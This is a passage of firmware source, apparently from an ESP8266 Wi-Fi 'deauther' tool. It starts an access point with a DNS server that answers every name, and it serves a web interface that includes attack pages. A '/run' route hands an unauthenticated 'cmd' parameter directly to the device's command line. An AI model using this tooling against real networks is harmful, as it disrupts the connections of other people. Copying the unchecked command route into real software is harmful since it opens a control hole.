if (!SPIFFS.exists(path)) {
|
||||
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
||||
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
||||
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(
|
||||
W_DOT_GZIP);
|
||||
else {
|
||||
// prntln(W_NOT_FOUND);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
File file = SPIFFS.open(path, "r");
|
||||
server.streamFile(file, contentType);
|
||||
file.close();
|
||||
//prnt(SPACE);
|
||||
//prntln(W_OK);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void handleFileList() {
|
||||
if (!server.hasArg("dir")) {
|
||||
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||
return;
|
||||
}
|
||||
|
||||
String path = server.arg("dir");
|
||||
// Serial.println("handleFileList: " + path);
|
||||
Dir dir = SPIFFS.openDir(path);
|
||||
|
||||
String output = String(OPEN_BRACKET); // {
|
||||
File entry;
|
||||
bool first = true;
|
||||
|
||||
while (dir.next()) {
|
||||
entry = dir.openFile("r");
|
||||
|
||||
if (first) first = false;
|
||||
else output += COMMA; // ,
|
||||
|
||||
output += OPEN_BRACKET; // [
|
||||
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
||||
output += CLOSE_BRACKET; // ]
|
||||
|
||||
entry.close();
|
||||
}
|
||||
|
||||
output += CLOSE_BRACKET;
|
||||
server.send(200, str(W_JSON).c_str(), output);
|
||||
}
|
||||
|
||||
void sendProgmem(const char* ptr, size_t size, const char* type) {
|
||||
server.sendHeader("Content-Encoding", "gzip");
|
||||
server.sendHeader("Cache-Control", "max-age=86400");
|
||||
server.send_P(200, str(type).c_str(), ptr, size);
|
||||
}
|
||||
|
||||
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network
|
||||
// is visible, captivePortal = enable a captive portal
|
||||
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
||||
if (password.length() < 8) {
|
||||
prntln(W_ERROR_PASSWORD);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (password == String(ZERO)) password = String(NEWLINE);
|
||||
|
||||
wifi_config_path = path;
|
||||
wifi_config_ssid = ssid;
|
||||
wifi_config_password = password;
|
||||
setWifiChannel(ch);
|
||||
wifi_config_hidden = hidden;
|
||||
wifi_config_captivePortal = captivePortal;
|
||||
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
|
||||
|
||||
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
||||
dnsServer.start(53, String(ASTERIX), apIP);
|
||||
|
||||
MDNS.begin(str(W_DEAUTHER).c_str());
|
||||
|
||||
server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory
|
||||
|
||||
|
||||
// ================================================================
|
||||
// post here the output of the webConverter.py
|
||||
#ifdef USE_PROGMEM_WEB_FILES
|
||||
if (!settings.getWebSpiffs()) {
|
||||
server.on(String(SLASH).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/attack.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/index.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/info.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(infohtml, sizeof(infohtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/scan.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/settings.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/ssids.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/style.css")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(stylecss, sizeof(stylecss), W_CSS);
|
||||
});
|
||||
server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(attackjs, sizeof(attackjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(scanjs, sizeof(scanjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(settingsjs, sizeof(settingsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/site.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(sitejs, sizeof(sitejs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/es.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(eslang, sizeof(eslang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/fi.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(filang, sizeof(filang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
});
|
||||
}
|
||||
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() {
|
||||
if (!settings.getWebSpiffs()) {
|
||||
if (settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
else if (settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
else if (settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("es"))) sendProgmem(eslang, sizeof(eslang), W_JSON);
|
||||
else if (settings.getLang() == String(F("fi"))) sendProgmem(filang, sizeof(filang), W_JSON);
|
||||
else if (settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
else if (settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
|
||||
else handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||
} else {
|
||||
handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||
}
|
||||
});
|
||||
#endif
|
||||
// ================================================================
|
||||
|
||||
server.on(String(F("/run")).c_str(), HTTP_GET, []() {
|
||||
server.send(200, str(W_TXT), str(W_OK).c_str());
|
||||
String input = server.arg("cmd");
|
||||
cli.exec(input);
|
||||
});
|
||||
|
||||
server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() {
|
||||
server.send(200, str(W_JSON), attack.getStatusJSON());
|
||||
});
|
||||
|
||||
// aggressively caching static assets
|
||||
server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400");
|
||||
|
||||
// called when the url is not defined here
|
||||
// use it to load content from SPIFFS
|
||||
server.onNotFound([]() {
|
||||
if (!handleFileRead(server.uri())) {
|
||||
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
||||
}
|
||||
});
|
||||
|
||||
server.begin();
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
|
||||
prntln(W_STARTED_AP);
|
||||
printWifiStatus();
|
||||
}
|
||||
|
||||
void printWifiStatus() {
|
||||
prnt(String(F("[WiFi] Path: '")));
|
||||
prnt(wifi_config_path);
|
||||
prnt(String(F("', Mode: '")));
|
||||
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
prnt(W_MODE_OFF);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
prnt(W_AP);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
prnt(W_STATION);
|
||||
break;
|
||||
}
|
||||
prnt(String(F("', SSID: '")));
|
||||
prnt(wifi_config_ssid);
|
||||
prnt(String(F("', password: '")));
|
||||
prnt(wifi_config_password);
|
||||
prnt(String(F("', channel: '")));
|
||||
prnt(wifi_channel);
|
||||
prnt(String(F("', hidden: ")));
|
||||
prnt(b2s(wifi_config_hidden));
|
||||
prnt(String(F(", captive-portal: ")));
|
||||
prntln(b2s(wifi_config_captivePortal));
|
||||
}
|
||||
|
||||
void startAP() {
|
||||
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(),
|
||||
wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
||||
}
|
||||
|
||||
void startAP(String path) {
|
||||
wifi_config_path = path;
|
||||
startAP();
|
||||
}
|
||||
|
||||
void loadWifiConfigDefaults() {
|
||||
wifi_config_hidden = settings.getHidden();
|
||||
wifi_config_ssid = settings.getSSID();
|
||||
wifi_config_password = settings.getPassword();
|
||||
wifi_config_captivePortal = settings.getCaptivePortal();
|
||||
wifi_config_path = str(W_WEBINTERFACE);
|
||||
}
|
||||
|
||||
void resumeAP() {
|
||||
if (wifiMode != WIFI_MODE_AP) {
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
|
||||
prntln(W_STARTED_AP);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // ifndef WifiManager_h
|
||||
Reference in New Issue
Block a user